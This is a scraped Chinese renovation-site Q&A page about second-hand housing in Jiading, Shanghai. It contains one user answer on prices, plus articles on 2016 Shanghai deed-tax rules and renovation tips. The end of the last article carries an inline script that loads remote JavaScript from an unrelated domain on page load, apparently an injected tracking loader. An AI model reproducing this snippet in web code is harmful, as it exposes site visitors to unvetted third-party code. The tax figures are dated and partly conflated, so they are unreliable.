10 去估算

路鸿波

清楚的说说上海市嘉定区二手房有哪些

1 回答

10秒估算装修报价

40-70m²
70-110m²
110-150m²
150m²以上
《服务条款》  《隐私政策》

立即计算报价

获取装修底价

稍后将有装修顾问来电为您解读报价

共有1条回答

风_4420 有用 1

上海市嘉定区二手房有:
嘉定城中多为2手房,现在已经涨到11000元/平方米以上(本人庆幸在7000元的时候买了。嘉定城郊有很多新建的,如五月花,盘古,五月花大概在1.4W,盘古听说要1.5W;建议买城中的,都是学区房,去大超市都可步行城郊的房子周围便民设施还跟不上,是以前的乡下,周围很荒的。价格来源网络,仅供参考

土巴兔装修客服

土巴兔官方客服,欢迎随时咨询

 立即咨询

亲,近期在了解装修吗?您是否想改变一下家里的布置,风格,收纳等现象?只需要一个报名申请您就能获得免费设计,赶紧咨询我吧!

相关问题 更多
最新回答
相关文章 更多
专题 上海市二手房契税相关介绍

上海市二手房契税相关介绍

对于我国的各个地方,他们的二手房都有着相关的政策和规定需要我们去执行,那么上海市的二手房有哪些相关的政策?大家是否有一定的了解你,今天小编就给大家详细的介绍一下,关于我们上海地区二手房契税的相关政策。了解这些是非常有必要的哦!特别是对于准备买房子的朋友们哦,那么我们就一起来看看吧!2016年上海房地产交易契税新政一、上海房地产交易契税标准1、家庭购买首套90平以下1%;2、家庭购买首套90平以上1.5%;3、家庭在沪有一套房产则按照3%征收。值得一提的是,新政规定:契税可以以家庭为单位分别征收。例如:产证上有父母和成年子女的名字。父母有另外一套房,子女家庭没有,现在是契税不唯一按3%征收。而新政实行后,父母份额交3%;子女按照其份额的1%(90平方以下)或1.5%(90平方以上)征收。从全部3%,变成子女的1%或1.5%征收,实现了税负的减少。二、上海唯一住房契税新政契税对个人购买普通住房,且该住房属于家庭(成员范围包括购房人、配偶以及未成年子女,下同)唯一住房的,减半征收契税。对个人购买90平方米及以下普通住房,且该住房属于家庭唯一住房的,减按1%税率征收契税。三、上海第二套改善性住房契税新政对个人购买家庭第二套改善性住房,面积为90平方米及以下的,减按1%的税率征收契税;面积为90平方米以上的,减按2%的税率征收契税。上海房产契税如何征收上海市居民家庭人均不超过60平方米的,其新购的住房暂免征收房产税。税基暂按应税住房市场交易价格的70%计算缴纳,适用税率暂定为0.6%。对住房每平方米市场交易价格低于当地上年度新建商品住房平均销售价格2倍(含2倍)的,税率暂减为0.4%。上海房产契税计算公式根据上海市地税局此次公布的细则,上海应税住房年应纳房产税税额(元)=新购住房应征税的面积(建筑面积)×新购住房单价(或核定的计税价格)×70%×税率。上海住房购房政策五层以上(含五层)的多高层住房,以及不足五层的老式公寓、新式里弄、旧式里弄等;单套建筑面积在140平方米以下;实际成交价格:低于同级别土地上住房平均交易价格1.44倍以下,坐落于内环线以内的低于245万元/套,内环线与外环线之间的低于140万元/套,外环线以外的低于98万元/套。上海购买第二套住房房贷政策一手房交易契税对居民家庭向商业银行贷款购买第二套住房的,其首付款比例不得低于60%,贷款利率不得低于基准利率的1.1倍。对为改善居住条件购买第二套住房的,住房公积金个人贷款首付比例不得低于60%,贷款利率不得低于基准利率的1.1倍。2016年上海市民购房能够省多少钱以首次购买一套145平方米的市区房为例,按照2万元/平方米计算,此前市民需要交纳3%的契税,共87000元,如今新政下,契税降低为1.5%,这意味着市民可以省下4.35万元。如果是购买第二套改善性住房,则契税从3%降低至2%,市民可节约契税约3万元。以上就是小编给我们大家所介绍的内容,关于上海市的二手房契税的一些相关的政策,那么对于每个地区,它的政策都是有着不同的说法,一般情况下,二手房税费是包括很多种的,比如说营业税,个人所得税,印花税等等。所以说我们还是要对其进行一些相应的透彻的了解,对于我们买房也是非常有必要的一件事情。

超全上海二手房装修经验汇总

超全上海二手房装修经验汇总

二手房装修最令人头疼的就是墙面、水电、地面等改造,房子内墙壁剥落、漏水漏电都是些二手房装修过程中令人担忧的安全隐患问题,别光想着省钱,土巴兔小编在此给二手房装修业主们提供:详细二手房装修流程、实用的二手房装修省钱宝典,还有精彩二手房装修案例供你借鉴!【二手房装修墙面篇】二手房装修刷墙漆要防止后期掉漆,你必须了解二手记装修刷墙注意事项。在粉刷墙壁之前要打好底子,直接就往墙上刷漆的方式是有欠妥当的。一般都要将原有的一些斑驳的旧漆面去掉,然后从新的界面开始粉刷,包括防水的底等。最好请专业的施工人员,这样能更好地保障今后的使用效果。一些喜欢变化的年轻人不妨试用一下壁纸,价格不会太高,而且比较方便。[详细]【二手房装修地面篇】二手房装修地板如果要直接铺的话,一定要把原地砖地面彻底清理干净,最好能消毒后再铺装地板,这样地板底下就不会成为细菌和微生物滋生的场所了,对地板日后的保养和家庭生活健康也有好处。[详细]【二手房装修水电篇】旧房的地面防水、水路往往有许多不合理的布局,相应的改造工程量很大。许多旧房子存在电线老化、违章布线的现象,也需要重新更换、改造。而且要检查原有水路是否锈蚀、老化,不合理的要在施工中进行更换。【二手房装修省钱篇-真实案例分享】1.二手房装修省钱3大攻略2.64平二手房装修省钱实例分享3.80后美女省钱翻新两房一厅4.3万搞定83平二手房简约二居室5.上海工薪阶层最省钱二手房翻新案例6.50平米二手房装修前后大变身1.二手房装修流程2.二手房装修注意事项3.如何装修二手房4.如何选择二手房装修公司5.二手房装修报价

快速了解嘉定二手房翻新的五个要点

快速了解嘉定二手房翻新的五个要点

许多二手房已经使用了几十年,总是有几个问题,特别是对于购买二手房的业主来说,装修有很多困难。嘉定二手房翻新有哪些注意事项?本文总结了我们应该了解的二手房改造的五个要点。嘉定二手房翻新有哪些注意事项?1.通航水道的改造。一些嘉定二手房翻新已经使用了很长时间。原始布线可能无法满足现代家庭的需求,并且可能存在诸如水管老化的问题。因此,在翻新二手房时,首先要注意的是水道的重建。必须彻底检查原始水路。如果原始管道是已拆除的镀锌管道,则必须在施工期间用铜管,铝和塑料管或PP-R管替换。不合理的地方也必须重新布线。2,改造电路嘉定二手房翻新,使用过的家用电路的原始分配通常相对简单,并且存在诸如电缆老化和非法布线的问题。此外,还有许多用于现代家庭的高功率设备。如果电路未被修改,则可能存在安全隐患。修改二手外壳的电路时,首先检查电缆的材料。如果是铝质电缆,则必须使用铜质电缆进行更换,并使用带PVC绝缘的电缆管。对于大功率设备的线路,例如空调,应使用单独的线路。此外,增加销售点数。3,墙面,天花板,地板装饰嘉定二手房翻新,相对较旧的二手房通常在墙壁,顶部和地板装饰上使用亲水性石膏腻子。这些油灰的缺点是容易脱落而且不能防潮,所以在翻新二手房时,不要忽视墙壁,顶面和地板。最好去掉原来的腻子层,重新染上防水腻子,并添加一些你喜欢的装饰,以增强空间的美感。4,更换门窗如果嘉定二手房翻新的原有门窗在检查后没有任何问题,他们可以继续使用它们。如果原来的门窗有油漆掉落的问题,可以再次使用。但是,如果原来的门窗变形,破裂或严重剥落,则必须更换。另外,钢门窗表面的漆膜剥落,主体生锈或破裂。除了不安全之外,很难恢复原始形式。为避免影响使用效果,您还必须删除重做。5,瓷砖翻新嘉定二手房翻新原墙的瓷砖或二手房的地砖存在剥落,开裂,变色等问题,这极大地影响了美观,因此必须再次更换。首先从原始墙壁或瓷砖中移除所有瓷砖,然后更换所需的瓷砖。对于地板的翻新,应该考虑到只有实木,镶木地板和竹子的地板可以更新,表面厚度为4毫米。 此外,部分翻新还可以在地板之间创造新的和旧的差异,因此最好不要盲目地翻新地板。虽然在嘉定二手房翻新时可能会在一定程度上保留一些原创设计。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

打开APP后继续操作

立即打开